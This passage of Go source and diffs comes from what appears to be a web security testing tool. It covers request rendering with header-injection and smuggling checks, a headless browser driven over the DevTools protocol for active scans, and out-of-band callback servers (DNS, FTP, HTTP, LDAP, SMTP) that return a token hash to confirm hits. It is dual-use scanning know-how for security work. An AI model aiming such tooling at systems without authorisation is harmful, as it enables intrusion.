for _, item := range items {
|
||||
out = append(out, name+"="+mark(key, url.QueryEscape(item)))
|
||||
}
|
||||
return out
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return []string{name + "=" + mark(key, url.QueryEscape(raw))}
|
||||
}
|
||||
|
||||
// validateTarget refuses a server a document should not be able to choose.
|
||||
func validateTarget(srv Server) (scheme, host string, err error) {
|
||||
scheme = strings.ToLower(strings.TrimSpace(srv.Scheme))
|
||||
if scheme == "" {
|
||||
scheme = "https"
|
||||
}
|
||||
if scheme != "http" && scheme != "https" {
|
||||
return "", "", fmt.Errorf("server scheme %q is not http or https", srv.Scheme)
|
||||
}
|
||||
host = strings.TrimSpace(srv.Host)
|
||||
if host == "" {
|
||||
return "", "", fmt.Errorf("no target host: the document declares no server and none was supplied")
|
||||
}
|
||||
if err := ValidateHost(host); err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
return scheme, host, nil
|
||||
}
|
||||
|
||||
// ValidateHost applies the rules a host must satisfy before it is concatenated
|
||||
// into a request line or a Host header.
|
||||
//
|
||||
// Exported for the raw-request builders outside this package, which otherwise
|
||||
// get no check. A "user:pass@host" in a server URL is how a document aims a scan
|
||||
// at a host the operator never read.
|
||||
func ValidateHost(host string) error {
|
||||
if strings.TrimSpace(host) == "" {
|
||||
return fmt.Errorf("no target host")
|
||||
}
|
||||
if strings.ContainsAny(host, "@/\\?#") {
|
||||
return fmt.Errorf("host %q contains a character that cannot appear in a host", host)
|
||||
}
|
||||
if strings.ContainsAny(host, " \t\r\n\x00") {
|
||||
return fmt.Errorf("host contains whitespace or a control character")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// validateRequestTarget refuses a method or target that would not stay on one
|
||||
// request line: RFC 7230 allows only visible ASCII there. Rejecting rather than
|
||||
// escaping, for validateTarget's reason — a document that produced this was not
|
||||
// describing an endpoint.
|
||||
func validateRequestTarget(method, target string) error {
|
||||
if method == "" || !validHeaderName(method) {
|
||||
return fmt.Errorf("operation method %q is not a token", method)
|
||||
}
|
||||
if target == "" {
|
||||
return fmt.Errorf("operation has an empty request target")
|
||||
}
|
||||
for i := 0; i < len(target); i++ {
|
||||
if target[i] <= 0x20 || target[i] >= 0x7f {
|
||||
return fmt.Errorf("request target contains a character that cannot appear on a request line (byte %d at offset %d)", target[i], i)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// undeclaredPathParam finds "{name}" spans left after substitution.
|
||||
func fillUndeclaredPathParams(path string) string {
|
||||
for {
|
||||
open := strings.IndexByte(path, '{')
|
||||
if open < 0 {
|
||||
return path
|
||||
}
|
||||
end := strings.IndexByte(path[open:], '}')
|
||||
if end < 0 {
|
||||
// An unbalanced brace is not a template; leave it rather than eating
|
||||
// the rest of the path.
|
||||
return path
|
||||
}
|
||||
path = path[:open] + "1" + path[open+end+1:]
|
||||
}
|
||||
}
|
||||
|
||||
// applyAuth places each credential where its scheme says it goes.
|
||||
//
|
||||
// All four kinds are applied. sj prompts for an apiKey in a query string and
|
||||
// then only prints it — it never reaches a request — and it warns about bearer
|
||||
// rather than accepting one unless the scheme's key happens to be spelled
|
||||
// "bearer".
|
||||
func applyAuth(auth Auth, headers []Header, queryPairs []string, cookies []Cookie) ([]Header, []string, []Cookie) {
|
||||
for _, c := range auth.Credentials {
|
||||
switch c.Kind {
|
||||
case AuthBasic:
|
||||
if c.Username == "" && c.Password == "" {
|
||||
continue
|
||||
}
|
||||
headers = append(headers, Header{
|
||||
Name: "Authorization",
|
||||
Value: "Basic " + basicValue(c.Username, c.Password),
|
||||
})
|
||||
case AuthBearer:
|
||||
if c.Value == "" {
|
||||
continue
|
||||
}
|
||||
headers = append(headers, Header{Name: "Authorization", Value: "Bearer " + c.Value})
|
||||
case AuthAPIKey:
|
||||
if c.Name == "" || c.Value == "" {
|
||||
continue
|
||||
}
|
||||
switch c.In {
|
||||
case InQuery:
|
||||
queryPairs = append(queryPairs, url.QueryEscape(c.Name)+"="+url.QueryEscape(c.Value))
|
||||
case InCookie:
|
||||
cookies = append(cookies, Cookie{Name: c.Name, Value: c.Value})
|
||||
default:
|
||||
headers = append(headers, Header{Name: c.Name, Value: c.Value})
|
||||
}
|
||||
}
|
||||
}
|
||||
headers = append(headers, auth.Headers...)
|
||||
cookies = append(cookies, auth.Cookies...)
|
||||
return dedupeHeaders(headers), queryPairs, dedupeCookies(cookies)
|
||||
}
|
||||
|
||||
// dedupeHeaders keeps the last value for each name, case-insensitively.
|
||||
//
|
||||
// What makes "a profile wins over a generated placeholder" true: appending alone
|
||||
// emits a second header line, so a document declaring Authorization as a
|
||||
// parameter sends the placeholder beside the real token — and the resulting 401
|
||||
// reads as the credentialed profile having no access. Last wins because
|
||||
// applyAuth appends credentials after the spec's parameters.
|
||||
func dedupeHeaders(in []Header) []Header {
|
||||
last := make(map[string]int, len(in))
|
||||
for i, h := range in {
|
||||
last[strings.ToLower(h.Name)] = i
|
||||
}
|
||||
out := make([]Header, 0, len(in))
|
||||
for i, h := range in {
|
||||
if last[strings.ToLower(h.Name)] == i {
|
||||
out = append(out, h)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// dedupeCookies keeps the last value per cookie name, which unlike a header
|
||||
// name is case-sensitive.
|
||||
func dedupeCookies(in []Cookie) []Cookie {
|
||||
last := make(map[string]int, len(in))
|
||||
for i, c := range in {
|
||||
last[c.Name] = i
|
||||
}
|
||||
out := make([]Cookie, 0, len(in))
|
||||
for i, c := range in {
|
||||
if last[c.Name] == i {
|
||||
out = append(out, c)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// reservedHeader names the headers this renderer frames itself. Honoring a
|
||||
// document's own Host or Content-Length would emit a second copy beside the
|
||||
// computed one — a smuggling primitive aimed at the operator's proxy.
|
||||
func reservedHeader(name string) bool {
|
||||
switch strings.ToLower(name) {
|
||||
case "host", "content-length", "transfer-encoding", "connection":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func basicValue(user, pass string) string {
|
||||
return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
|
||||
}
|
||||
|
||||
// selectBody picks the body bytes and content type for this render.
|
||||
func selectBody(op *Operation, vals Values) ([]byte, string) {
|
||||
if len(op.Bodies) == 0 {
|
||||
// Bare `ok`, matching the branch below: a present-but-empty override means
|
||||
// "send it empty", which Values documents as a distinct and useful test.
|
||||
// Checking `override != ""` here would honor that test on an operation
|
||||
// that declares a body and silently drop it on one that does not.
|
||||
if override, ok := vals[ValueKeyBody]; ok {
|
||||
ct := vals[ValueKeyContentType]
|
||||
if ct == "" && override != "" {
|
||||
ct = "application/json"
|
||||
}
|
||||
return []byte(override), ct
|
||||
}
|
||||
return nil, ""
|
||||
}
|
||||
|
||||
chosen := op.Bodies[0]
|
||||
if want := vals[ValueKeyContentType]; want != "" {
|
||||
for _, b := range op.Bodies {
|
||||
if b.ContentType == want || mediaBase(b.ContentType) == mediaBase(want) {
|
||||
chosen = b
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if override, ok := vals[ValueKeyBody]; ok {
|
||||
return []byte(override), chosen.ContentType
|
||||
}
|
||||
return chosen.Content, chosen.ContentType
|
||||
}
|
||||
|
||||
// methodExpectsBody reports whether a method normally carries one, so a
|
||||
// Content-Length of 0 is still emitted for it.
|
||||
//
|
||||
// sj attaches a body only to POST, which is why its own README shows PUT 415
|
||||
// against the petstore: the server is rejecting an empty body, not the request.
|
||||
func methodExpectsBody(method string) bool {
|
||||
switch strings.ToUpper(method) {
|
||||
case "POST", "PUT", "PATCH":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// writeHeader emits one header, dropping it if the document chose a name or
|
||||
// value that would change the shape of the request.
|
||||
//
|
||||
// This is new attack surface the port creates: sj never actually sends its
|
||||
// "in: header" parameters — they only decorate a printed curl command — so a
|
||||
// document has never chosen a header name before. An unsanitized one is request
|
||||
// smuggling into whatever sits behind the proxy.
|
||||
func writeHeader(buf *bytes.Buffer, name, value string) {
|
||||
if !validHeaderName(name) || !validHeaderValue(value) {
|
||||
return
|
||||
}
|
||||
buf.WriteString(name + ": " + value + "\r\n")
|
||||
}
|
||||
|
||||
// validHeaderName checks RFC 7230's token production.
|
||||
func validHeaderName(name string) bool {
|
||||
if name == "" {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(name); i++ {
|
||||
if !tokenByte(name[i]) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func tokenByte(c byte) bool {
|
||||
switch {
|
||||
case c >= 'a' && c <= 'z', c >= 'A' && c <= 'Z', c >= '0' && c <= '9':
|
||||
return true
|
||||
}
|
||||
switch c {
|
||||
case '!', '#', '$', '%', '&', '\'', '*', '+', '-', '.', '^', '_', '`', '|', '~':
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// validHeaderValue rejects the bytes that would end the line or the header block.
|
||||
func validHeaderValue(v string) bool {
|
||||
for i := 0; i < len(v); i++ {
|
||||
switch v[i] {
|
||||
case '\r', '\n', 0:
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// buildCookieHeader folds every cookie into one header.
|
||||
//
|
||||
// Values are not percent-encoded wholesale — that would corrupt a legitimate
|
||||
// base64 session token — so only the bytes that would end the cookie or the
|
||||
// header are removed.
|
||||
func buildCookieHeader(cookies []Cookie) string {
|
||||
parts := make([]string, 0, len(cookies))
|
||||
for _, c := range cookies {
|
||||
name := strings.TrimSpace(c.Name)
|
||||
if name == "" || !validHeaderName(name) {
|
||||
continue
|
||||
}
|
||||
value := strings.Map(func(r rune) rune {
|
||||
switch r {
|
||||
case ';', ',', '\r', '\n', 0, ' ':
|
||||
return -1
|
||||
}
|
||||
return r
|
||||
}, c.Value)
|
||||
parts = append(parts, name+"="+value)
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
+100
-10
@@ -7,6 +7,7 @@ import (
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
@@ -106,6 +107,11 @@ type LaunchOptions struct {
|
||||
ProfileDir string
|
||||
URL string
|
||||
WipeOnExit bool // remove ProfileDir once the browser process exits
|
||||
|
||||
// RemoteDebugPort and Headless apply only to LaunchControlled. A zero port
|
||||
// means allocate a free one.
|
||||
RemoteDebugPort int
|
||||
Headless bool
|
||||
}
|
||||
|
||||
// Launch starts the browser detached, routing all traffic through the proxy and
|
||||
@@ -118,18 +124,10 @@ func Launch(opts LaunchOptions) error {
|
||||
if target == "" {
|
||||
target = "about:blank"
|
||||
}
|
||||
args := []string{
|
||||
"--proxy-server=http://" + opts.ProxyAddr,
|
||||
"--proxy-bypass-list=<-loopback>", // route loopback targets through the proxy too
|
||||
"--user-data-dir=" + opts.ProfileDir, // the SPKI flag is only honored when a user-data-dir is set
|
||||
"--ignore-certificate-errors-spki-list=" + opts.SPKIFingerprint,
|
||||
"--test-type", // suppresses the unsupported-command-line-flag infobar; does not alter cert validation
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
"--new-window",
|
||||
args := append(baseArgs(opts), "--new-window",
|
||||
// The URL must be last: Chrome treats the first non-switch arg as a URL.
|
||||
target,
|
||||
}
|
||||
)
|
||||
|
||||
cmd := exec.Command(opts.BrowserPath, args...)
|
||||
if err := cmd.Start(); err != nil {
|
||||
@@ -151,6 +149,98 @@ func Launch(opts LaunchOptions) error {
|
||||
return cmd.Process.Release()
|
||||
}
|
||||
|
||||
// baseArgs builds the launch flags shared by the interactive and controlled
|
||||
// launches: route everything through the proxy, trust only the pinned SPKI, and
|
||||
// keep a private profile. The URL, if any, must be appended last by the caller —
|
||||
// Chrome treats the first non-switch arg as a URL.
|
||||
func baseArgs(opts LaunchOptions) []string {
|
||||
return []string{
|
||||
"--proxy-server=http://" + opts.ProxyAddr,
|
||||
"--proxy-bypass-list=<-loopback>", // route loopback targets through the proxy too
|
||||
"--user-data-dir=" + opts.ProfileDir, // the SPKI flag is only honored when a user-data-dir is set
|
||||
"--ignore-certificate-errors-spki-list=" + opts.SPKIFingerprint,
|
||||
"--test-type", // suppresses the unsupported-command-line-flag infobar; does not alter cert validation
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
}
|
||||
}
|
||||
|
||||
// Session is a controlled browser the caller drives over CDP and must tear down.
|
||||
// Unlike Launch, the process handle is retained so DebugPort can be dialled and
|
||||
// Kill can stop it.
|
||||
type Session struct {
|
||||
cmd *exec.Cmd
|
||||
ProfileDir string
|
||||
DebugPort int
|
||||
}
|
||||
|
||||
// LaunchControlled starts a headless browser with a loopback DevTools endpoint
|
||||
// and returns a handle to it. The profile is NOT wiped here — the caller owns
|
||||
// the session and wipes via Kill — and the process is not released, so Kill can
|
||||
// stop it when the scan is done or cancelled.
|
||||
//
|
||||
// It is the active-scan path: a dedicated instance that never touches the
|
||||
// operator's interactive browser or its persistent profile. CDP's injection
|
||||
// runs before any page script and is not subject to the page's CSP, which is why
|
||||
// a scan can instrument a target the proxy could never inject into.
|
||||
func LaunchControlled(opts LaunchOptions) (*Session, error) {
|
||||
if err := os.MkdirAll(opts.ProfileDir, 0700); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
port := opts.RemoteDebugPort
|
||||
if port == 0 {
|
||||
p, err := freePort()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("allocate debug port: %w", err)
|
||||
}
|
||||
port = p
|
||||
}
|
||||
|
||||
args := baseArgs(opts)
|
||||
args = append(args,
|
||||
fmt.Sprintf("--remote-debugging-port=%d", port),
|
||||
"--remote-debugging-address=127.0.0.1",
|
||||
"--remote-allow-origins=*", // required by modern Chrome to accept a CDP WebSocket
|
||||
"--disable-gpu",
|
||||
"--disable-background-networking",
|
||||
)
|
||||
if opts.Headless {
|
||||
args = append(args, "--headless=new")
|
||||
}
|
||||
// A controlled session drives navigation over CDP, so it opens on a blank
|
||||
// page rather than a start URL.
|
||||
args = append(args, "about:blank")
|
||||
|
||||
cmd := exec.Command(opts.BrowserPath, args...)
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Session{cmd: cmd, ProfileDir: opts.ProfileDir, DebugPort: port}, nil
|
||||
}
|
||||
|
||||
// Kill stops the browser and, when wipe is set, removes its profile directory.
|
||||
func (s *Session) Kill(wipe bool) {
|
||||
if s.cmd != nil && s.cmd.Process != nil {
|
||||
_ = s.cmd.Process.Kill()
|
||||
_ = s.cmd.Wait()
|
||||
}
|
||||
if wipe && s.ProfileDir != "" && !profileInUse(s.ProfileDir) {
|
||||
_ = os.RemoveAll(s.ProfileDir)
|
||||
}
|
||||
}
|
||||
|
||||
// freePort asks the OS for an unused loopback TCP port. There is a small window
|
||||
// between closing the listener and the browser binding the port, acceptable for
|
||||
// a single local launch.
|
||||
func freePort() (int, error) {
|
||||
l, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer l.Close()
|
||||
return l.Addr().(*net.TCPAddr).Port, nil
|
||||
}
|
||||
|
||||
// profileInUse reports whether a Chromium instance still holds the profile's
|
||||
// singleton lock (SingletonLock on Unix, lockfile on Windows).
|
||||
func profileInUse(profileDir string) bool {
|
||||
|
||||
@@ -91,6 +91,15 @@ func (d *DNSServer) handleDNS(w dns.ResponseWriter, r *dns.Msg) {
|
||||
log.Printf("callback dns: record interaction: %v", err)
|
||||
}
|
||||
d.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
|
||||
|
||||
// A correlated TXT query is answered with the token's response hash, so
|
||||
// an OAST client can validate a hit via a plain TXT lookup.
|
||||
if q.Qtype == dns.TypeTXT {
|
||||
msg.Answer = append(msg.Answer, &dns.TXT{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: 60},
|
||||
Txt: []string{ResponseHash(token.Token)},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// Respond with A record for A queries
|
||||
|
||||
@@ -163,7 +163,13 @@ func (s *FTPServer) handleConnection(conn net.Conn, implicitTLS bool) {
|
||||
case "USER":
|
||||
sess.user = rest
|
||||
sess.sawUser = true
|
||||
s.writeLine(rw, sess, "331 Password required")
|
||||
// When the username carries a token, echo its response hash in the reply
|
||||
// so an OAST client can validate the hit from the USER exchange alone.
|
||||
reply := "331 Password required"
|
||||
if tok, err := CorrelateAny(s.store, rest); err == nil {
|
||||
reply += " " + ResponseHash(tok.Token)
|
||||
}
|
||||
s.writeLine(rw, sess, reply)
|
||||
case "PASS":
|
||||
sess.pass = rest
|
||||
s.writeLine(rw, sess, "230 Login successful")
|
||||
|
||||
@@ -147,8 +147,11 @@ func (h *HTTPServer) handle(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
h.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
|
||||
|
||||
// The correlated response is sha256(token), a value a probe can predict and
|
||||
// confirm (see ResponseHash). A miss returns the generic marker below, with no
|
||||
// token to hash — so an unknown probe still cannot use the body as an oracle.
|
||||
w.WriteHeader(http.StatusOK)
|
||||
fmt.Fprintln(w, "79cb7b990dd6d0d8eac756c92ccc04b6")
|
||||
fmt.Fprintln(w, ResponseHash(token.Token))
|
||||
}
|
||||
|
||||
func (h *HTTPServer) handleXSS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
@@ -198,7 +198,7 @@ func (s *LDAPServer) handleMessage(conn net.Conn, sess *ldapSession, msg []byte)
|
||||
sess.bindDN = string(name)
|
||||
sess.gotOp = true
|
||||
}
|
||||
s.writeResponse(conn, idBytes, ldapBindResponse)
|
||||
s.writeResponse(conn, idBytes, ldapBindResponse, s.responseHashFor(sess))
|
||||
return false
|
||||
|
||||
case ldapSearchRequest:
|
||||
@@ -208,7 +208,7 @@ func (s *LDAPServer) handleMessage(conn net.Conn, sess *ldapSession, msg []byte)
|
||||
sess.searchBase = string(base)
|
||||
sess.gotOp = true
|
||||
}
|
||||
s.writeResponse(conn, idBytes, ldapSearchDone)
|
||||
s.writeResponse(conn, idBytes, ldapSearchDone, s.responseHashFor(sess))
|
||||
return false
|
||||
|
||||
case ldapUnbindRequest:
|
||||
@@ -223,15 +223,32 @@ func (s *LDAPServer) handleMessage(conn net.Conn, sess *ldapSession, msg []byte)
|
||||
|
||||
// writeResponse builds and sends a minimal success LDAPMessage echoing the
|
||||
// given messageID INTEGER value. opTag is ldapBindResponse or ldapSearchDone.
|
||||
func (s *LDAPServer) writeResponse(conn net.Conn, idBytes []byte, opTag byte) {
|
||||
// LDAPResult: resultCode=success(0), matchedDN="", diagnosticMessage="".
|
||||
resultBody := []byte{0x0A, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00}
|
||||
// diag, when non-empty, is placed in the diagnosticMessage field — the token's
|
||||
// response hash on a correlated request, which an OAST client can read there.
|
||||
func (s *LDAPServer) writeResponse(conn net.Conn, idBytes []byte, opTag byte, diag string) {
|
||||
// LDAPResult: resultCode=success(0), matchedDN="", diagnosticMessage=diag.
|
||||
resultBody := []byte{0x0A, 0x01, 0x00, 0x04, 0x00}
|
||||
resultBody = append(resultBody, ber(berOctetString, []byte(diag))...)
|
||||
op := ber(opTag, resultBody)
|
||||
inner := append(ber(berInteger, idBytes), op...)
|
||||
msg := ber(berSequence, inner)
|
||||
conn.Write(msg) //nolint:errcheck
|
||||
}
|
||||
|
||||
// responseHashFor returns the response hash to place in an LDAP result's
|
||||
// diagnosticMessage when the request correlates to a token, or "" when none does.
|
||||
// It mirrors record's candidate order (search base, bind DN, then the raw bytes).
|
||||
func (s *LDAPServer) responseHashFor(sess *ldapSession) string {
|
||||
tok, err := CorrelateAny(s.store,
|
||||
sess.searchBase, sess.bindDN,
|
||||
hex.EncodeToString(sess.raw.Bytes()),
|
||||
)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return ResponseHash(tok.Token)
|
||||
}
|
||||
|
||||
// record correlates and stores the session. Runs once via defer; no-ops if no
|
||||
// bind/search was seen or no token correlates.
|
||||
func (s *LDAPServer) record(conn net.Conn, sess *ldapSession) {
|
||||
|
||||
@@ -192,8 +192,13 @@ func (s *SMTPServer) handleConnection(conn net.Conn, implicitTLS bool) {
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
s.recordMessage(conn, sess, data)
|
||||
s.writeLine(rw, sess, "250 OK queued")
|
||||
queued := "250 OK queued"
|
||||
if tok := s.recordMessage(conn, sess, data); tok != nil {
|
||||
// A correlated recipient gets the token's response hash in the reply,
|
||||
// a protocol-legal field an OAST client can read to validate the hit.
|
||||
queued += " " + ResponseHash(tok.Token)
|
||||
}
|
||||
s.writeLine(rw, sess, queued)
|
||||
sess.from, sess.rcpts = "", nil
|
||||
case "RSET":
|
||||
sess.from, sess.rcpts = "", nil
|
||||
@@ -265,7 +270,10 @@ func (s *SMTPServer) writeLines(rw *bufio.ReadWriter, sess *smtpSession, lines [
|
||||
rw.Flush() //nolint:errcheck
|
||||
}
|
||||
|
||||
func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte) {
|
||||
// recordMessage correlates the session's recipients to a token, records the
|
||||
// interaction, and returns the matched token (nil if none) so the caller can
|
||||
// echo its response hash in the queued-OK reply.
|
||||
func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte) *Token {
|
||||
cfg, _ := s.store.GetConfig()
|
||||
domain := cfg.Domain
|
||||
|
||||
@@ -279,7 +287,7 @@ func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte
|
||||
}
|
||||
}
|
||||
if token == nil {
|
||||
return
|
||||
return nil
|
||||
}
|
||||
|
||||
var hdrFrom, hdrTo, hdrSubject, body string
|
||||
@@ -322,9 +330,10 @@ func (s *SMTPServer) recordMessage(conn net.Conn, sess *smtpSession, data []byte
|
||||
}
|
||||
if err := s.store.RecordInteraction(interaction); err != nil {
|
||||
log.Printf("callback smtp: record interaction: %v", err)
|
||||
return
|
||||
return nil
|
||||
}
|
||||
s.broadcast <- event.WSEvent{Type: "callback.interaction", Data: interaction}
|
||||
return token
|
||||
}
|
||||
|
||||
// splitVerb returns the first whitespace-delimited token and the remainder.
|
||||
|
||||
@@ -12,6 +12,10 @@ type Token struct {
|
||||
Token string `json:"token"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
HitCount int `json:"hitCount"`
|
||||
// ResponseHash is the value the server returns on a correlated interaction,
|
||||
// for an operator or OAST client to match against. Derived from Token, not a
|
||||
// stored column — like HitCount, it is populated on read.
|
||||
ResponseHash string `json:"expectedHash"`
|
||||
}
|
||||
|
||||
// Interaction represents a recorded callback interaction (DNS or HTTP).
|
||||
@@ -58,7 +62,7 @@ func (s *Store) CreateToken(id, note, hex string) (*Token, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Token{ID: id, Note: note, Token: hex, CreatedAt: now}, nil
|
||||
return &Token{ID: id, Note: note, Token: hex, CreatedAt: now, ResponseHash: ResponseHash(hex)}, nil
|
||||
}
|
||||
|
||||
// ListTokens returns all tokens with their hit counts.
|
||||
@@ -81,6 +85,7 @@ func (s *Store) ListTokens() ([]Token, error) {
|
||||
if err := rows.Scan(&t.ID, &t.Note, &t.Token, &t.CreatedAt, &t.HitCount); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.ResponseHash = ResponseHash(t.Token)
|
||||
tokens = append(tokens, t)
|
||||
}
|
||||
return tokens, rows.Err()
|
||||
|
||||
@@ -2,6 +2,7 @@ package callback
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"regexp"
|
||||
@@ -13,6 +14,21 @@ import (
|
||||
// run; we only ever use its first 16 chars.
|
||||
var hexRunRe = regexp.MustCompile("[0-9a-fA-F]{16,}")
|
||||
|
||||
// ResponseHash is the deterministic value the callback server returns on a
|
||||
// correlated interaction: the lowercase hex SHA-256 of the token's hex string.
|
||||
//
|
||||
// This is a stable external contract. An OAST client reproduces it with a plain
|
||||
// sha256 of the token it embedded — sha256("<token>") — so observing this value
|
||||
// (reflected in a target response, in a protocol field) proves the interaction
|
||||
// actually reached this server for that specific token, rather than being a
|
||||
// coincidental echo of the injected input. The input is the token's ASCII hex,
|
||||
// not its 8 raw bytes, because that hex is what appears in the subdomain, path,
|
||||
// or address a probe carries.
|
||||
func ResponseHash(token string) string {
|
||||
sum := sha256.Sum256([]byte(token))
|
||||
return hex.EncodeToString(sum[:])
|
||||
}
|
||||
|
||||
// GenerateToken creates a new token with a random 16-char hex identifier.
|
||||
func GenerateToken(store *Store, name string) (*Token, error) {
|
||||
b := make([]byte, 8)
|
||||
|
||||
@@ -0,0 +1,253 @@
|
||||
// Package cdp is a minimal Chrome DevTools Protocol client: JSON-RPC 2.0 over a
|
||||
// single WebSocket to a locally launched headless browser.
|
||||
//
|
||||
// It is hand-rolled on gorilla/websocket rather than vendoring chromedp or rod,
|
||||
// the same choice internal/mcp (a hand-rolled JSON-RPC server) and the C2 clients
|
||||
// make — the surface needed here is a handful of methods and two events, and a
|
||||
// browser-automation dependency tree is a large supply-chain cost for that.
|
||||
//
|
||||
// # Threat model
|
||||
//
|
||||
// The client only ever connects to 127.0.0.1 on a port Joro itself just launched
|
||||
// a browser with. A DevTools endpoint is unauthenticated and grants full control
|
||||
// of the browser, so it must never be exposed off the loopback interface; the
|
||||
// launch flags in internal/browser bind it to 127.0.0.1 and the dialer here
|
||||
// refuses anything else. This mirrors the MCP listener's loopback-only posture.
|
||||
//
|
||||
// # Flat session
|
||||
//
|
||||
// The client attaches directly to one page target's debugger URL, so every
|
||||
// command and event is for that page and no sessionId plumbing is needed. Driving
|
||||
// several tabs would need Target.setAutoAttach and per-target sessions; a scan
|
||||
// drives one page in sequence, so it does not.
|
||||
package cdp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// Client is a connection to one page target.
|
||||
type Client struct {
|
||||
conn *websocket.Conn
|
||||
|
||||
mu sync.Mutex
|
||||
nextID int
|
||||
pending map[int]chan rpcResponse
|
||||
handlers map[string][]func(json.RawMessage)
|
||||
closed bool
|
||||
}
|
||||
|
||||
// rpcRequest is one outbound JSON-RPC command.
|
||||
type rpcRequest struct {
|
||||
ID int `json:"id"`
|
||||
Method string `json:"method"`
|
||||
Params any `json:"params,omitempty"`
|
||||
}
|
||||
|
||||
// rpcResponse is a reply or an event. A message with an id is a reply to the
|
||||
// command that carried that id; one without is an event named by Method.
|
||||
type rpcResponse struct {
|
||||
ID int `json:"id,omitempty"`
|
||||
Result json.RawMessage `json:"result,omitempty"`
|
||||
Error *rpcError `json:"error,omitempty"`
|
||||
Method string `json:"method,omitempty"`
|
||||
Params json.RawMessage `json:"params,omitempty"`
|
||||
}
|
||||
|
||||
type rpcError struct {
|
||||
Code int `json:"code"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
func (e *rpcError) Error() string { return fmt.Sprintf("cdp error %d: %s", e.Code, e.Message) }
|
||||
|
||||
// targetInfo is one entry of the /json listing.
|
||||
type targetInfo struct {
|
||||
Type string `json:"type"`
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
|
||||
// Connect discovers the page target on a loopback DevTools endpoint and opens a
|
||||
// WebSocket to it. debugPort is the --remote-debugging-port the browser was
|
||||
// launched with.
|
||||
func Connect(ctx context.Context, debugPort int, timeout time.Duration) (*Client, error) {
|
||||
wsURL, err := discoverPageWS(ctx, debugPort, timeout)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dialer := websocket.Dialer{HandshakeTimeout: 15 * time.Second}
|
||||
// Modern Chrome rejects a CDP WebSocket whose Origin is not allowlisted; the
|
||||
// browser is launched with --remote-allow-origins=* (loopback only), and the
|
||||
// matching Origin header is sent here.
|
||||
hdr := http.Header{"Origin": {fmt.Sprintf("http://127.0.0.1:%d", debugPort)}}
|
||||
conn, _, err := dialer.DialContext(ctx, wsURL, hdr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("cdp dial: %w", err)
|
||||
}
|
||||
|
||||
c := &Client{
|
||||
conn: conn,
|
||||
pending: make(map[int]chan rpcResponse),
|
||||
handlers: make(map[string][]func(json.RawMessage)),
|
||||
}
|
||||
go c.readLoop()
|
||||
return c, nil
|
||||
}
|
||||
|
||||
// discoverPageWS polls http://127.0.0.1:<port>/json until a page target appears,
|
||||
// returning its WebSocket debugger URL. The browser writes the port and the
|
||||
// listing only once it is ready, so a short poll is simpler than racing it.
|
||||
func discoverPageWS(ctx context.Context, port int, timeout time.Duration) (string, error) {
|
||||
deadline := time.Now().Add(timeout)
|
||||
endpoint := fmt.Sprintf("http://127.0.0.1:%d/json", port)
|
||||
var lastErr error
|
||||
for time.Now().Before(deadline) {
|
||||
if ctx.Err() != nil {
|
||||
return "", ctx.Err()
|
||||
}
|
||||
ws, err := fetchPageWS(ctx, endpoint)
|
||||
if err == nil && ws != "" {
|
||||
return ws, nil
|
||||
}
|
||||
lastErr = err
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
case <-time.After(200 * time.Millisecond):
|
||||
}
|
||||
}
|
||||
if lastErr != nil {
|
||||
